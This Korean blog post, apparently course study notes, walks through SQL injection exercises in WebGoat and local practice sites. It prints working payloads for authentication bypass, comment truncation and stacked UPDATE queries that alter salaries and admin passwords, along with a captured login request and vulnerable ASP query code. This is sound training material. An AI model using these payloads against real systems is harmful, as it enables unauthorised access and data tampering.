0. SQL Injection
사용자가 서버에 제출한 데이터가 SQL Query로 사용되어 Database나 시스템에 영향을 주는 공격기법
SQL Injection은 웹 해킹으로 분류하나 Database 해킹 기법임
- 효과
1) 웹 어플리케이션 인증 우회
2) Database 덤프, 조작, 파괴
3) 시스템 커맨드의 실행 (주로 MS-SQL 에서 발생)
4) 시스템 주요 파일 노출
1. 웹 어플리케이션의 일반적인 인증 절차
1) ID / Password 입력
2) SQL Query 생성
3) Database에 쿼리 전송 : 변조된 혹은 비정상적인 쿼리를 전송시킨다
4) Database에서 Query실행
5) 반환되는 Return 값에 따라 인증 여부판단
2. webgoat 3.7 string SQL Injection
Step1. webgoat 실행
윈도우 실행창 services.msc /기존 apm service를 종료해두고 webgoat 3.7 설치 후 webgoat.bat 실행하여 Tomcat 실행
웹브라우저에서 http://localhost/WebGoat/attack
id / pw : webgoat
Step2. 문제 접속 및 해결
1) Injection Flaws - Numeric SQL injection
accout에 해당 하는 정보만 불러오게 되어 있는 페이지에서
서버가 가지고 있는 모든 회원 정보를 불러 오도록 SQL Injection을 실시
101 or 1=1 을 넣어서
SELECT * FROM user_data WHERE userid = 101 or 1=1
where절에 or 1=1를 삽입함으로서 무조건적인 참을 유도한다.
2) Injection Flaws - String SQL Injection
last_name에 해당되는 정보만 불러오게되어 있는 페이지에서
모든 카드 정보를 불러올 수 있게 String SQL Injection
Smith' or '* 이렇게 삽입하여 아래처럼 SQL 구문이 실행되도록한다.
SELECT * FROM user_data WHERE last_name = 'Smith' or '*'
3. webgoat5.4버전 String SQL Injection
1) Injection Flaws - LAB:SQL Injection stage 1 : string SQL Injection
위에서 시도 했던 것 처럼 'or'1'='1 구문으로 시도하려고 했으나 password가 8자리까지 밖에 입력이 안됨
'or'1'='1을 웹 프록시를 이용해 넘겨주는 방법도 있으나,
'or''='로 인젝션 시도 성공
2) Injection Flaws - Database Backdoors
101 User id로 접속하면 비밀번호 SSN, salary등이 보이는 데 해당 필드를 이용해 salary 데이터 변조를 시도
어떻게 구문이 전달되는 지 화면에 보여줌으로 101;로 select 구문을 종료 시키고
update 구문을 이용해 변조된 정보 삽입 시도
아래 구문으로 시도하면 성공
101; update employee set salary=999999 where userid=101
4. Webserver login form에서 injection 시도
ID : nuno
PW : 1'or'1'='1 성공
POST http://192.168.1.20/member/member_login_check.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/member/member_login.asp
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Paros/3.2.13
Host: 192.168.1.20
Content-Length: 41
Pragma: no-cache
Cookie: ASPSESSIONIDQADTCQBQ=IGEDODFBGPPKKIFHPKINFDIF
user_id=nuno&user_pw=1%27or%271%27%3D%271
strSQL="select user_id, user_pw, name, email, homepage from member
where user_id='"&id&"' and user_pw='"&password&"'" 해당 SQL 쿼리문
인터넷 옵션 - 고급 - HTTP 오류메세지 표시 해제
로그인 ' 넣고 로그인해보면 아래 메세지 노출
Microsoft OLE DB Provider for SQL Server error '80040e14'
'' and user_pw='' 문자열 앞에 닫히지 않은 인용 부호가 있습니다.
/member/member_login_check.asp, line 13
[실습 1]
- Webhack 사이트의 로그인 페이지에서 SQL Injection을 이용해 로그인하라!
(or을 사용하지 않은 다른 방식으로 해결)
nuno
'+select user_pw from member where user_id ='nuno'+'
where user_id='"&id&"' and user_pw='"&password&"'
-- 주석을 이용해서 뒷편을 다 무력화 한다.
nuno'--
[실습 2]
- Camel의 숨겨진 관리자 페이지를 찾고 관리자 계정을 탈취하라
1'or'1'='1 admin 1234
- 관리자 페이지의 Login 창을 이용해 관리자 패스워드를 변경하라!
sql=sql&" WHERE admin_ID = 'admin'"
sql=sql&" AND admin_Pass = 1234' use camel update admin set admin_Pass='4321"
sql=sql&" AND admin_Pass = ' ' "
기존 쿼리를 끝내기 위해 ; 스페이스바는 인코딩 + 값을 준다
1234';update+admin+set+admin_pass='4321'+where+admin_id='admin
'Web Hacking' 카테고리의 다른 글
12. SQL 작업환경 구축 및 기초 구문 (0) | 2022.07.09 |
---|---|
11. malware (webshell, backdoor) (0) | 2022.07.03 |
10. CSRF (Cross Site Request Forgery) (0) | 2022.06.29 |
9. XSS (Cross Site Scripting) (1) | 2022.06.27 |
8. bruteforce attack / password cracking (0) | 2022.06.24 |
댓글